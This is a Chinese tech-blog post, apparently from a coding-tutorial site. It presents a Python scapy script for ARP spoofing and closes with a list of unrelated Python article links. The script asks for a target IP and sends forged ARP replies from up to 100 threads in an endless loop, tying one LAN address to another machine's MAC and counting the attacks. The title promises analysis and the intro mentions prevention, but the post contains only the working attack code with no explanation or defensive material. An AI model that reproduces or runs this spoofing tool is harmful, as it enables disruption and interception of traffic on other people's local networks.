python发送arp欺骗攻击代码分析

 更新时间:2014年01月16日 11:59:26   作者:  
这篇文章主要介绍了python发送arp欺骗攻击的方法,大家碰到这样的事情可以预防一下

复制代码 代码如下:

# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')

    Main(ip = ip).start()

相关文章

  • Python Pycharm虚拟下百度飞浆PaddleX安装报错问题及处理方法(亲测100%有效)

    Python Pycharm虚拟下百度飞浆PaddleX安装报错问题及处理方法(亲测100%有效)

    最近很多朋友给小编留言在安装PaddleX的时候总是出现各种奇葩问题,不知道该怎么处理,今天小编通过本文给大家介绍下Python Pycharm虚拟下百度飞浆PaddleX安装报错问题及处理方法,真的有效,遇到同样问题的朋友快来参考下吧
    2021-05-05
  • 在python3中使用shuffle函数要注意的地方

    在python3中使用shuffle函数要注意的地方

    今天小编就为大家分享一篇在python3中使用shuffle函数要注意的地方,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-02-02
  • 浅析Python中的多进程编程

    浅析Python中的多进程编程

    在这篇文章中,我们将专注于讨论Python中的多进程编程,例如进程的创建、管理和同步,以及一些更高级的概念,如进程池,需要的可以参考一下
    2023-07-07
  • python 装饰器重要在哪

    python 装饰器重要在哪

    这篇文章主要介绍了python 装饰器重要在哪,帮助大家更好的理解和使用python,感兴趣的朋友可以了解下
    2021-02-02
  • 想学画画?python满足你!

    想学画画?python满足你!

    这篇文章主要介绍了如何利用python画画,帮助大家更好的理解和使用python的turtle库,感兴趣的朋友可以了解下
    2020-12-12
  • Python文件夹与文件的操作实现代码

    Python文件夹与文件的操作实现代码

    最近在写的程序频繁地与文件操作打交道,这块比较弱,还好在百度上找到一篇不错的文章,这是原文传送门,我对原文稍做了些改动
    2014-07-07
  • Python爬虫定时计划任务的几种常见方法(推荐)

    Python爬虫定时计划任务的几种常见方法(推荐)

    这篇文章主要介绍了Python爬虫定时计划任务的几种常见方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2021-01-01
  • 跟老齐学Python之编写类之一创建实例

    跟老齐学Python之编写类之一创建实例

    上两篇文章虽然已经对类有了一点点模糊概念,但是,阅读前面一讲的内容的确感到累呀,都是文字,连代码都没有。本讲就要简单多了,尝试走一个类的流程。
    2014-10-10
  • 浅谈tensorflow中几个随机函数的用法

    浅谈tensorflow中几个随机函数的用法

    今天小编就为大家分享一篇浅谈tensorflow中几个随机函数的用法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-07-07
  • Python标准库之time库的使用教程详解

    Python标准库之time库的使用教程详解

    这篇文章主要介绍了Python的time库的使用教程,文中有非常详细的代码示例,对正在学习python基础的小伙伴们有非常好的帮助,需要的朋友可以参考下
    2022-04-04

最新评论